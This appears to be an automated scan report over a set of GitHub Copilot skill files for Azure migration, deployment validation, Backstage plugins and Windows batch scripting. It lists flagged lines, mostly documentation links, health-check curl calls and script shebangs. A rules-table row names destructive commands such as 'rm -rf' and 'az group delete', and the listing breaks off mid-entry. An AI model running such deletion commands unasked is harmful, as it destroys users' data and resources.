    curl -s -o /dev/null -w "%{http_code}" "https://$DEFAULT_HOST/api/<FUNCTION_NAME>"

harness/github-copilot/skills/azure-upgrade/references/services/functions/consumption-to-flex.md

  • Network accessline 4
    > **Target**: Azure Functions Flex Consumption Plan (FC1/FlexConsumption) > **Platform**: Linux only (Windows support planned for future) > **Docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/
  • Network accessline 6
    > **Docs**: [Linux migration guide](https://learn.microsoft.com/en-us/azure/azure-functions/migration/migrate-plan-consumption-to-flex?pivots=platform-linux)
  • Network accessline 139
    1. **Smoke test** — Get the app’s default hostname via `az functionapp show --query defaultHostName -o tsv`, then hit that URL and confirm it returns a non-error response (HTTP 2xx/4xx, not connection refused or 503). This is the minimum ba
  • Network accessline 140
    2. Verify the app is running on Flex Consumption (`az functionapp show --query sku`) 3. Test HTTP trigger endpoints (e.g. `curl https://<DEFAULT_HOST>/api/<FUNCTION_NAME>`) 4. Capture and compare performance benchmarks
  • Network accessline 141
    3. Test HTTP trigger endpoints (e.g. `curl https://<DEFAULT_HOST>/api/<FUNCTION_NAME>`)
  • Network accessline 223
    - [Flex Consumption plan overview](https://learn.microsoft.com/en-us/azure/azure-functions/flex-consumption-plan)
  • Network accessline 224
    - [How to use the Flex Consumption plan](https://learn.microsoft.com/en-us/azure/azure-functions/flex-consumption-how-to)
  • Network accessline 225
    - [Azure CLI flex-migration commands](https://learn.microsoft.com/en-us/cli/azure/functionapp/flex-migration) (Linux only)
  • Network accessline 226
    - [Flex Consumption IaC samples](https://github.com/Azure-Samples/azure-functions-flex-consumption-samples/tree/main/IaC)
  • Network accessline 227
    - [Flex Consumption plan deprecations](https://learn.microsoft.com/en-us/azure/azure-functions/functions-app-settings#flex-consumption-plan-deprecations)

harness/github-copilot/skills/azure-upgrade/references/services/redis/redis-to-amr.md

  • Network accessline 10
    | Source SKU | ARM Resource Type | CLI / PowerShell | Dedicated Skill | Repo | |---|---|---|---|---| | **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-s
  • Network accessline 11
    |---|---|---|---|---| | **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-skill` | https://github.com/AzureManagedRedis/amr-migration-skill | | **ACRE** —
  • Network accessline 12
    | **ACR / OSS Redis** — Basic, Standard, Premium (C0–C6, P1–P5) | `Microsoft.Cache/redis` | `az redis`, `*-AzRedisCache` | `amr-migration-skill` | https://github.com/AzureManagedRedis/amr-migration-skill |
  • Network accessline 13
    | **ACRE** — Enterprise (`Enterprise_E*`), Enterprise Flash (`EnterpriseFlash_F*`) | `Microsoft.Cache/redisEnterprise` | `az redisenterprise`, `*-AzRedisEnterprise*` | `acre-to-amr-migration-skill` | https://github.com/AzureManagedRedis/acr
  • Network accessline 48
    - IaC template migration for ARM, Bicep, and Terraform with worked before/after examples - Feature comparison and retirement FAQ - **Retirement deadlines this skill addresses**: ACR Basic/Standard/Premium tiers are being retired — for the c
  • Network accessline 50
    - **Retirement deadlines this skill addresses**: ACR Basic/Standard/Premium tiers are being retired — for the current retirement and creation-block dates, see the [official ACR retirement announcement](https://learn.microsoft.com/en-us/azur
  • Network accessline 60
    - Reusable polling scripts (`Poll-MigrationStatus.ps1`, `poll-migration-status.sh`) - Post-migration ACRE resource cleanup - **Retirement deadline this skill addresses**: ACRE / Enterprise Flash are being retired — for the current retiremen
  • Network accessline 62
    - **Retirement deadline this skill addresses**: ACRE / Enterprise Flash are being retired — for the current retirement date, see the [official ACR retirement announcement](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-
  • Network accessline 98
    - AMR Migration Skill (ACR → AMR): https://github.com/AzureManagedRedis/amr-migration-skill
  • Network accessline 99
    - ACRE → AMR Migration Skill: https://github.com/AzureManagedRedis/acre-to-amr-migration-skill
  • Network accessline 100
    - Azure Managed Redis docs: https://learn.microsoft.com/en-us/azure/redis/managed-redis/
  • Network accessline 101
    - ACR retirement announcement: https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-retired-tiers
  • Network accessline 102
    - Entra ID auth for AMR: https://learn.microsoft.com/en-us/azure/redis/managed-redis/managed-redis-entra-for-access-control-configuration

harness/github-copilot/skills/azure-validate/references/global-rules.md

  • Dangerous shell operationline 13
    | **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |

harness/github-copilot/skills/azure-validate/references/recipes/azd/scripts/set-aspire-aca-env.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/azure-validate/references/recipes/azd/scripts/set-aspire-aca-env.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/skills/azure-validate/references/recipes/scripts/validate-deployment.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/azure-validate/references/recipes/scripts/validate-deployment.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/skills/azure-validate/references/recipes/terraform/README.md

  • Network accessline 59
    - Terraform: see https://developer.hashicorp.com/terraform/install

harness/github-copilot/skills/azure-validate/references/recipes/terraform/errors.md

  • Network accessline 28
    site_config {     cors {       allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"]
  • Network accessline 29
    cors {       allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"]     }
  • Network accessline 30
    allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"]
  • Network accessline 36
    resource "azurerm_linux_web_app" "frontend" {   app_settings = {     API_URL = "https://${azurerm_linux_web_app.api.default_hostname}"
  • Network accessline 37
    app_settings = {     API_URL = "https://${azurerm_linux_web_app.api.default_hostname}"   }
  • Network accessline 38
    API_URL = "https://${azurerm_linux_web_app.api.default_hostname}"
  • Network accessline 64
    > ⚠<U+FE0F> **Warning:** If using `["*"]` as a temporary bootstrap value, you **must** set `frontend_origin` to the actual URL (e.g., `https://app-web-*.azurewebsites.net`) and re-run `terraform apply` in the same deployment session before reporti

harness/github-copilot/skills/azure-validate/references/recipes/terraform/scripts/validate-terraform.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 50
    Add-Result "Terraform installed" "PASS" } else {     Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install"
  • Network accessline 51
    } else {     Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" }
  • Network accessline 52
    Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install"

harness/github-copilot/skills/azure-validate/references/recipes/terraform/scripts/validate-terraform.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 50
    record "Terraform installed" "PASS" else     record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install"
  • Network accessline 51
    else     record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" fi
  • Network accessline 52
    record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install"
  • Dangerous shell operationline 102
    rm -f "$tmp"

harness/github-copilot/skills/azure-validate/references/region-availability.md

  • Network accessline 3
    > **AUTHORITATIVE SOURCE** — Consult this file BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 5
    > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 53
    > Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.

harness/github-copilot/skills/azure-validate/references/scripts/scan-aspire-functions-secrets.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/azure-validate/references/scripts/scan-aspire-functions-secrets.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/skills/azure-validate/references/scripts/workflow.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/azure-validate/references/scripts/workflow.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/skills/azure-well-architected-review/SKILL.md

  • Network accessline 27
    ### Step 1: Load Well-Architected Framework Reference Fetch current Azure WAF best practices: - `https://learn.microsoft.com/en-us/azure/well-architected/`
  • Network accessline 28
    Fetch current Azure WAF best practices: - `https://learn.microsoft.com/en-us/azure/well-architected/` - Service guides for the Azure services in use (`https://learn.microsoft.com/en-us/azure/well-architected/service-guides/`)
  • Network accessline 29
    - `https://learn.microsoft.com/en-us/azure/well-architected/`
  • Network accessline 30
    - Service guides for the Azure services in use (`https://learn.microsoft.com/en-us/azure/well-architected/service-guides/`)

harness/github-copilot/skills/backstage-plugin-builder/references/official-docs.md

  • Network accessline 5
    | Topic | Official source | | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> |
  • Network accessline 6
    | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> |
  • Network accessline 7
    | Standalone Backstage app | <https://backstage.io/docs/getting-started/> |
  • Network accessline 8
    | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> |
  • Network accessline 9
    | New backend plugins and modules | <https://github.com/backstage/backstage/blob/master/docs/backend-system/building-plugins-and-modules/01-index.md> |
  • Network accessline 10
    | Legacy plugin creation reference | <https://backstage.io/docs/plugins/create-a-plugin/> |
  • Network accessline 11
    | Plugin structure reference | <https://backstage.io/docs/plugins/structure-of-a-plugin/> |
  • Network accessline 12
    | Composability and routing reference | <https://backstage.io/docs/plugins/composability/> |
  • Network accessline 13
    | Community plugin contribution | <https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md> |
  • Network accessline 14
    | Backstage repository contribution | <https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md> |

harness/github-copilot/skills/backstage-plugin-builder/scripts/create_backstage_plugin_artifacts.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/backstage-plugin-builder/scripts/test_validate_backstage_plugin.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/backstage-plugin-builder/scripts/validate_backstage_plugin.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/backstage-plugin-builder/scripts/validate_official_docs.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 13
    URLS = [     "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md",
  • Network accessline 14
    "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md",
  • Network accessline 15
    "https://raw.githubusercontent.com/backstage/backstage/master/docs/backend-system/building-plugins-and-modules/01-index.md",
  • Network accessline 16
    "https://backstage.io/docs/plugins/create-a-plugin/",
  • Network accessline 17
    "https://backstage.io/docs/plugins/composability/",
  • Network accessline 18
    "https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md",
  • Network accessline 19
    "https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md",
  • Network accessline 23
    def check_url(url: str, timeout: int) -> dict:     request = urllib.request.Request(
  • Network accessline 24
    request = urllib.request.Request(
  • Network accessline 25
    url, headers={"User-Agent": "backstage-plugin-builder-doc-check"})     try:         with urllib.request.urlopen(request, timeout=timeout) as response:
  • Network accessline 26
    try:         with urllib.request.urlopen(request, timeout=timeout) as response:             return {"url": url, "status": response.status, "ok": 200 <= response.status < 400}
  • Network accessline 27
    with urllib.request.urlopen(request, timeout=timeout) as response:

harness/github-copilot/skills/batch-files/references/batch-files-and-functions.md

  • Network accessline 212
    - **Get Default Browser** — Manual: `START ms-settings:defaultapps`. Programmatic: read `HKCU\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice\ProgID` via `REG QUERY`, returns a value like `FirefoxHTML-308046B0A
  • Network accessline 213
    - **Auto-Download Prompt** — Check if a third-party tool exists: `TOOL /? >NUL 2>&1` then `IF ERRORLEVEL 1` means missing. If tool returns non-zero on `/?`, use `(TOOL /? 2>&1) | FIND /I "copyright" >NUL` to detect its output. Prompt user: 
  • Network accessline 214
    - **E-mail from Batch** — `START mailto:user@example.com?subject=Hello%%20World^&body=Message%%20text`. Escaping: spaces=`%%20`, CR/LF=`%%0D%%0A`, ampersands escaped with caret (`^&`), double `%%` for batch. Length limited to max command li
  • Network accessline 215
    - **FTP Scripting** — `FTP -s:scriptfile hostname` for unattended transfers. Script file contains: `USER username`, password (next line), `cd path`, `binary`, `prompt n`, `mget *.*` (or `mput`). Security: create script on-the-fly with `ECHO

harness/github-copilot/skills/batch-files/references/cygwin.md

  • Network accessline 7
    - [Cygwin User's Guide](https://cygwin.com/cygwin-ug-net.html) — comprehensive official documentation
  • Network accessline 8
    - [Cygwin FAQ](https://cygwin.com/faq.html)
  • Network accessline 9
    - [Cygwin Homepage](https://cygwin.com/)

harness/github-copilot/skills/batch-files/references/msys2.md

  • Network accessline 7
    - [Getting Started](https://www.msys2.org/)
  • Network accessline 8
    - [What is MSYS2?](https://www.msys2.org/docs/what-is-msys2/)
  • Network accessline 9
    - [Who Is Using MSYS2?](https://www.msys2.org/docs/who-is-using-msys2/)
  • Network accessline 10
    - [MSYS2 Installer](https://www.msys2.org/docs/installer/)
  • Network accessline 11
    - [News](https://www.msys2.org/news/)
  • Network accessline 12
    - [FAQ](https://www.msys2.org/docs/faq/)
  • Network accessline 13
    - [Supported Windows Versions and Hardware](https://www.msys2.org/docs/windows_support/)
  • Network accessline 14
    - [ARM64 Support](https://www.msys2.org/docs/arm64/)
  • Network accessline 20
    - [Environments Overview](https://www.msys2.org/docs/environments/)
  • Network accessline 21
    - [GCC vs LLVM/Clang](https://www.msys2.org/docs/environments/#gcc-vs-llvmclang)
  • Network accessline 22
    - [MSVCRT vs UCRT](https://www.msys2.org/docs/environments/#msvcrt-vs-ucrt)
  • Network accessline 23
    - [Changelog](https://www.msys2.org/docs/environments/#changelog)
  • Network accessline 35
    - [Updating MSYS2](https://www.msys2.org/docs/updating/)
  • Network accessline 36
    - [Filesystem Paths](https://www.msys2.org/docs/filesystem-paths/)
  • Network accessline 37
    - [Symlinks](https://www.msys2.org/docs/symlinks/)
  • Network accessline 38
    - [Configuration Locations](https://www.msys2.org/docs/configuration/)
  • Network accessline 39
    - [Terminals](https://www.msys2.org/docs/terminals/)
  • Network accessline 40
    - [IDEs and Text Editors](https://www.msys2.org/docs/ides-editors/)
  • Network accessline 41
    - [Just-in-time Debugging](https://www.msys2.org/docs/jit-debugging/)
  • Network accessline 45
    - [Package Management](https://www.msys2.org/docs/package-management/)
  • Network accessline 46
    - [Package Naming](https://www.msys2.org/docs/package-naming/)
  • Network accessline 47
    - [Package Index](https://packages.msys2.org/)
  • Network accessline 48
    - [Repositories and Mirrors](https://www.msys2.org/docs/repos-mirrors/)
  • Network accessline 49
    - [Package Mirrors](https://www.msys2.org/docs/mirrors/)
  • Network accessline 50
    - [Tips and Tricks](https://www.msys2.org/docs/package-management-tips/)
  • Network accessline 51
    - [FAQ](https://www.msys2.org/docs/package-management-faq/)
  • Network accessline 52
    - [pacman](https://www.msys2.org/docs/pacman/)
  • Network accessline 56
    - [Using CMake in MSYS2](https://www.msys2.org/docs/cmake/)
  • Network accessline 57
    - [Autotools](https://www.msys2.org/docs/autotools/)
  • Network accessline 58
    - [Python](https://www.msys2.org/docs/python/)
  • Network accessline 59
    - [Git](https://www.msys2.org/docs/git/)
  • Network accessline 60
    - [C/C++](https://www.msys2.org/docs/c/)
  • Network accessline 61
    - [C++](https://www.msys2.org/docs/cpp/)
  • Network accessline 62
    - [pkg-config](https://www.msys2.org/docs/pkgconfig/)
  • Network accessline 63
    - [Using MSYS2 in CI](https://www.msys2.org/docs/ci/)
  • Network accessline 67
    - [Creating a new Package](https://www.msys2.org/dev/new-package/)
  • Network accessline 68
    - [Updating an existing Package](https://www.msys2.org/dev/update-package/)
  • Network accessline 69
    - [Package Guidelines](https://www.msys2.org/dev/package-guidelines/)
  • Network accessline 70
    - [License Metadata](https://www.msys2.org/dev/package-licensing/)
  • Network accessline 71
    - [PKGBUILD](https://www.msys2.org/dev/pkgbuild/)
  • Network accessline 72
    - [Mirrors](https://www.msys2.org/dev/mirrors/)
  • Network accessline 73
    - [MSYS2 Keyring](https://www.msys2.org/dev/keyring/)
  • Network accessline 74
    - [Python](https://www.msys2.org/dev/python/)
  • Network accessline 75
    - [Automated Build Process](https://www.msys2.org/dev/build-process/)
  • Network accessline 76
    - [Vulnerability Reporting](https://www.msys2.org/dev/vulnerabilities/)
  • Network accessline 77
    - [Accounts and Ownership](https://www.msys2.org/dev/accounts/)
  • Network accessline 81
    - [Welcome to the MSYS2 wiki](https://www.msys2.org/wiki/Home/)
  • Network accessline 82
    - [How does MSYS2 differ from Cygwin?](https://www.msys2.org/wiki/How-does-MSYS2-differ-from-Cygwin/)
  • Network accessline 83
    - [MSYS2-Introduction](https://www.msys2.org/wiki/MSYS2-introduction/)
  • Network accessline 84
    - [MSYS2 History](https://www.msys2.org/wiki/History/)
  • Network accessline 85
    - [Creating Packages](https://www.msys2.org/wiki/Creating-Packages/)
  • Network accessline 86
    - [Distributing](https://www.msys2.org/wiki/Distributing/)
  • Network accessline 87
    - [Launchers](https://www.msys2.org/wiki/Launchers/)
  • Network accessline 88
    - [Porting](https://www.msys2.org/wiki/Porting/)
  • Network accessline 89
    - [Re-installing MSYS2](https://www.msys2.org/wiki/MSYS2-reinstallation/)
  • Network accessline 90
    - [Setting up SSHd](https://www.msys2.org/wiki/Setting-up-SSHd/)
  • Network accessline 91
    - [Signing Packages](https://www.msys2.org/wiki/Signing-packages/)
  • Network accessline 92
    - [Do you need Sudo?](https://www.msys2.org/wiki/Sudo/)
  • Network accessline 93
    - [Terminals](https://www.msys2.org/wiki/Terminals/)
  • Network accessline 94
    - [Qt Creator](https://www.msys2.org/wiki/GDB-qtcreator/)
  • Network accessline 95
    - [TODO LIST](https://www.msys2.org/wiki/Devtopics/)

harness/github-copilot/skills/batch-files/references/tools-and-resources.md

  • Network accessline 5
    - [Terminal, Command Line and console blog](https://devblogs.microsoft.com/commandline/)
  • Network accessline 6
    - [Rob van der Woude.com](https://www.robvanderwoude.com/batchfiles.php)
  • Network accessline 7
    - [Security Bulletins](https://msrc.microsoft.com/update-guide)
  • Network accessline 8
    - [OpenCVE](https://app.opencve.io/cve/?q=vendor%3Amicrosoft+AND+cvss31%3E%3D9)
  • Network accessline 9
    - [Old New Thing](https://devblogs.microsoft.com/oldnewthing/tag/tipssupport)
  • Network accessline 10
    - [Microsoft Update Catalog](https://www.catalog.update.microsoft.com/Home.aspx)
  • Network accessline 11
    - [aka.ms Search](https://aka.ms/)
  • Network accessline 15
    - [Windows versions](https://ss64.com/nt/ver.html)
  • Network accessline 16
    - [RSAT](https://ss64.com/links/ps.html#kits) - [Domain Services Tools](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771131%28v=ws.11%29) - [RSAT Download](https://www.microsoft.com/do
  • Network accessline 17
    - [Domain Services Tools](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771131%28v=ws.11%29) - [RSAT Download](https://www.microsoft.com/download/details.aspx?id=45520) - [RSAT KBase](h
  • Network accessline 18
    - [RSAT Download](https://www.microsoft.com/download/details.aspx?id=45520)
  • Network accessline 19
    - [RSAT KBase](https://learn.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/remote-server-administration-tools) - [DISM /Add-Capability](https://ss64.com/nt/dism.html) - [Microsoft Security Compliance Toolkit](
  • Network accessline 20
    - [DISM /Add-Capability](https://ss64.com/nt/dism.html) - [Microsoft Security Compliance Toolkit](https://www.microsoft.com/download/details.aspx?id=55319) - [Security Toolkit Release notes (2020)](https://techcommunity.microsoft.com/blog/m
  • Network accessline 21
    - [Microsoft Security Compliance Toolkit](https://www.microsoft.com/download/details.aspx?id=55319)
  • Network accessline 22
    - [Security Toolkit Release notes (2020)](https://techcommunity.microsoft.com/blog/microsoft-security-baselines/new--updated-security-tools/1631613)
  • Network accessline 23
    - [Policy Analyzer Release notes](https://learn.microsoft.com/en-us/archive/blogs/secguide/new-tool-policy-analyzer)
  • Network accessline 24
    - [Microsoft PowerToys](https://learn.microsoft.com/en-us/windows/powertoys/)
  • Network accessline 25
    - [File Locksmith](https://learn.microsoft.com/windows/powertoys/file-locksmith)
  • Network accessline 26
    - [Keyboard Manager](https://learn.microsoft.com/en-us/windows/powertoys/keyboard-manager)
  • Network accessline 27
    - [PowerToys Releases (Github)](https://github.com/microsoft/PowerToys/releases) - [ColorTool.exe](https://github.com/Microsoft/Terminal/tree/main/src/tools/ColorTool) - [IE 11 Enterprise Mode Site List Manager](https://www.microsoft.com/do
  • Network accessline 28
    - [ColorTool.exe](https://github.com/Microsoft/Terminal/tree/main/src/tools/ColorTool) - [IE 11 Enterprise Mode Site List Manager](https://www.microsoft.com/download/details.aspx?id=49974) - [Local Administrator Password Solution (LAPS)](ht
  • Network accessline 29
    - [IE 11 Enterprise Mode Site List Manager](https://www.microsoft.com/download/details.aspx?id=49974)
  • Network accessline 30
    - [Local Administrator Password Solution (LAPS)](https://www.microsoft.com/download/details.aspx?id=46899)
  • Network accessline 31
    - [LAPS howto](https://learn-powershell.net/2016/10/08/setting-up-local-administrator-password-solution-laps/) - [Sysinternals Suite](https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) - [Account Lockout Status](ht
  • Network accessline 32
    - [Sysinternals Suite](https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) - [Account Lockout Status](https://www.microsoft.com/download/details.aspx?id=15201) - [Account Lockout and Management Tools](https://www.mi
  • Network accessline 33
    - [Account Lockout Status](https://www.microsoft.com/download/details.aspx?id=15201)
  • Network accessline 34
    - [Account Lockout and Management Tools](https://www.microsoft.com/download/details.aspx?id=18465)
  • Network accessline 35
    - [Microsoft Security Compliance Toolkit 1.0](https://www.microsoft.com/download/details.aspx?id=55319)
  • Network accessline 36
    - [How to disable SMB 1 (or 2/3 for testing)](https://learn.microsoft.com/en-us/windows-server/storage/file-server/troubleshoot/detect-enable-and-disable-smbv1-v2-v3)
  • Network accessline 37
    - [File, Folder and Share Permission Utility Tool](https://web.archive.org/web/20200318052717/https://gallery.technet.microsoft.com/scriptcenter/File-Folder-and-Share-f788312b)
  • Network accessline 38
    - [File Checksum Integrity Verifier](https://web.archive.org/web/20150302180951/https://support.microsoft.com/kb/841290)
  • Network accessline 39
    - [CERTUTIL](https://ss64.com/nt/certutil.html) - [Policy Analyzer](https://learn.microsoft.com/en-us/archive/blogs/secguide/new-tool-policy-analyzer) - [Group Policy Management Console SP1](https://www.microsoft.com/download/details.aspx?i
  • Network accessline 40
    - [Policy Analyzer](https://learn.microsoft.com/en-us/archive/blogs/secguide/new-tool-policy-analyzer) - [Group Policy Management Console SP1](https://www.microsoft.com/download/details.aspx?id=21895) - [Object Settings spreadsheet 2003/200
  • Network accessline 41
    - [Group Policy Management Console SP1](https://www.microsoft.com/download/details.aspx?id=21895)
  • Network accessline 42
    - [Object Settings spreadsheet 2003/2008/2008R2/Win7](https://www.microsoft.com/download/details.aspx?id=25250)
  • Network accessline 43
    - [Microsoft PowerToys (Github)](https://github.com/Microsoft/PowerToys)
  • Network accessline 44
    - [Windows 11 ISO](https://www.microsoft.com/en-us/software-download/windows11)
  • Network accessline 48
    - [Windows 11 Installation Assistant](https://www.microsoft.com/software-download/windows11)
  • Network accessline 49
    - [Install Windows 11 Without a Microsoft Account](https://www.tomshardware.com/how-to/install-windows-11-without-microsoft-account) - [Windows ADK 23H2](https://www.microsoft.com/en-us/download/details.aspx?id=105667) - [Windows ADK 24H2](
  • Network accessline 50
    - [Windows ADK 23H2](https://www.microsoft.com/en-us/download/details.aspx?id=105667)
  • Network accessline 51
    - [Windows ADK 24H2](https://www.microsoft.com/en-us/download/details.aspx?id=106254)
  • Network accessline 52
    - [Windows Server 25](https://www.microsoft.com/en-us/download/details.aspx?id=106295)
  • Network accessline 53
    - [Microsoft Deployment Toolkit](https://learn.microsoft.com/en-us/intune/configmgr/mdt/)
  • Network accessline 54
    - [Windows Assessment and Deployment Kit](https://learn.microsoft.com/en-us/windows-hardware/get-started/adk-install) - [Rufus USB formatting tool](https://rufus.ie/en/) - [Windows 10 Update Assistant 22H2](https://www.microsoft.com/softwar
  • Network accessline 55
    - [Rufus USB formatting tool](https://rufus.ie/en/) - [Windows 10 Update Assistant 22H2](https://www.microsoft.com/software-download/windows10) - [Windows 10 ISO](https://www.microsoft.com/software-download/windows10ISO)
  • Network accessline 56
    - [Windows 10 Update Assistant 22H2](https://www.microsoft.com/software-download/windows10)
  • Network accessline 57
    - [Windows 10 ISO](https://www.microsoft.com/software-download/windows10ISO)
  • Network accessline 59
    - [Locale Builder 2.0](https://www.microsoft.com/download/details.aspx?id=41158)
  • Network accessline 63
    - [Ansible](https://www.ansible.com/how-ansible-works/)
  • Network accessline 64
    - [Chocolatey](https://chocolatey.org/)
  • Network accessline 65
    - [Ninite](https://ninite.com/)
  • Network accessline 66
    - [Scoop](https://scoop.sh/)
  • Network accessline 67
    - [Windows Package Manager (WinGet)](https://devblogs.microsoft.com/commandline/windows-package-manager-1-1/)
  • Network accessline 68
    - [AppGet](https://devblogs.microsoft.com/commandline/winget-install-learning/)
  • Network accessline 72
    - [SysInternals](https://learn.microsoft.com/en-us/sysinternals/)
  • Network accessline 73
    - [bottom](https://github.com/ClementTsang/bottom) — cross-platform graphical process/system monitor
  • Network accessline 74
    - [Caffeine.exe](https://www.zhornsoftware.co.uk/caffeine/index.html) — prevent sleep/lock
  • Network accessline 75
    - [CMDebug](https://jpsoft.com/products/cmdebug.html) — batch file debugger
  • Network accessline 76
    - [Console 2](https://github.com/cbucher/console) | [review](https://www.hanselman.com/blog/Console2ABetterWindowsCommandPrompt)
  • Network accessline 77
    - [ConEmu-Maximus5](https://conemu.github.io/) | [review](https://www.hanselman.com/blog/ConEmuTheWindowsTerminalConsolePromptWeveBeenWaitingFor)
  • Network accessline 78
    - [CopyTrans Manager](https://www.copytrans.net/copytransmanager/) | [CopyTrans Filey](https://www.copytrans.net/copytransfiley/)
  • Network accessline 79
    - [CryptoPrevent](https://www.bleepingcomputer.com/virus-removal/cryptolocker-ransomware-information)
  • Network accessline 80
    - [Cygwin](https://cygwin.com/)
  • Network accessline 81
    - [DOFF](https://ss64.com/links/doff10.zip) | [source](https://ss64.com/links/doff10_source.zip)
  • Network accessline 82
    - [FastCopy](https://fastcopy.jp/)
  • Network accessline 83
    - [FindRepl.bat](https://www.dostips.com/forum/viewtopic.php?f=3&t=4697) — find and replace in text files
  • Network accessline 84
    - [Gow](https://github.com/bmatzelle/gow) — GNU on Windows (lightweight Cygwin alternative)
  • Network accessline 85
    - [ImageMagick](https://www.imagemagick.org/)
  • Network accessline 86
    - [Jdupes](https://codeberg.org/jbruchon/jdupes) — duplicate file finder
  • Network accessline 87
    - [Joeware.net](https://www.joeware.net/freetools/) — AD and Windows tools - [Karen's directory printer](https://www.karenware.com/powertools/karens-directory-printer) - [Microsoft Mouse without Borders](https://www.microsoft.com/en-ca/down
  • Network accessline 88
    - [Karen's directory printer](https://www.karenware.com/powertools/karens-directory-printer) - [Microsoft Mouse without Borders](https://www.microsoft.com/en-ca/download/details.aspx?id=35460) - [MParallel](https://github.com/lordmulder/MPa
  • Network accessline 89
    - [Microsoft Mouse without Borders](https://www.microsoft.com/en-ca/download/details.aspx?id=35460)
  • Network accessline 90
    - [MParallel](https://github.com/lordmulder/MParallel) — parallel command execution
  • Network accessline 91
    - [Nirsoft Utilities](https://www.nirsoft.net/)
  • Network accessline 92
    - [NirCMD](https://www.nirsoft.net/utils/nircmd.html) — command-line automation utility
  • Network accessline 93
    - [NSIS](https://nsis.sourceforge.io/Main_Page) — installer creation
  • Network accessline 94
    - [Npocmaka batch scripts](https://github.com/npocmaka/batch.scripts)
  • Network accessline 95
    - [zipjs.bat](https://stackoverflow.com/questions/28043589/how-can-i-compress-zip-and-uncompress-unzip-files-and-folders-with-bat)
  • Network accessline 96
    - [PDFtk](https://www.pdflabs.com/tools/pdftk-server/) — PDF manipulation
  • Network accessline 97
    - [Petter Nordahl-Hagen](https://pogostick.net/~pnh/ntpasswd/main.html) — NT password recovery
  • Network accessline 98
    - [pretentiousname utilities](https://www.pretentiousname.com/miscsoft/index.html)
  • Network accessline 99
    - [Repl.bat](https://www.dostips.com/forum/viewtopic.php?f=3&t=3855) — regex replace in text files
  • Network accessline 100
    - [Ritchie Lawrence tools](https://github.com/ritchielawrence/) | [cmdow](https://github.com/ritchielawrence/cmdow)
  • Network accessline 101
    - [SetACL](https://helgeklein.com/setacl/) — permission management
  • Network accessline 102
    - SetRes — screen resolution changer - [SoX](https://sourceforge.net/projects/sox/files/sox//) — audio processing - [Bill Stewart utilities](https://westmesatech.com/?page_id=23)
  • Network accessline 103
    - [SoX](https://sourceforge.net/projects/sox/files/sox//) — audio processing
  • Network accessline 104
    - [Bill Stewart utilities](https://westmesatech.com/?page_id=23) - [System Tools (Somarsoft)](https://www.systemtools.com/somarsoft/) - [WebP utilities](https://developers.google.com/speed/webp/download)
  • Network accessline 105
    - [System Tools (Somarsoft)](https://www.systemtools.com/somarsoft/)
  • Network accessline 106
    - [WebP utilities](https://developers.google.com/speed/webp/download)
  • Network accessline 110
    - [Depicus](https://www.depicus.com/wake-on-lan/wake-on-lan-cmd)
  • Network accessline 111
    - [Gammadyne](https://www.gammadyne.com/cmdline.htm#wol)
  • Network accessline 112
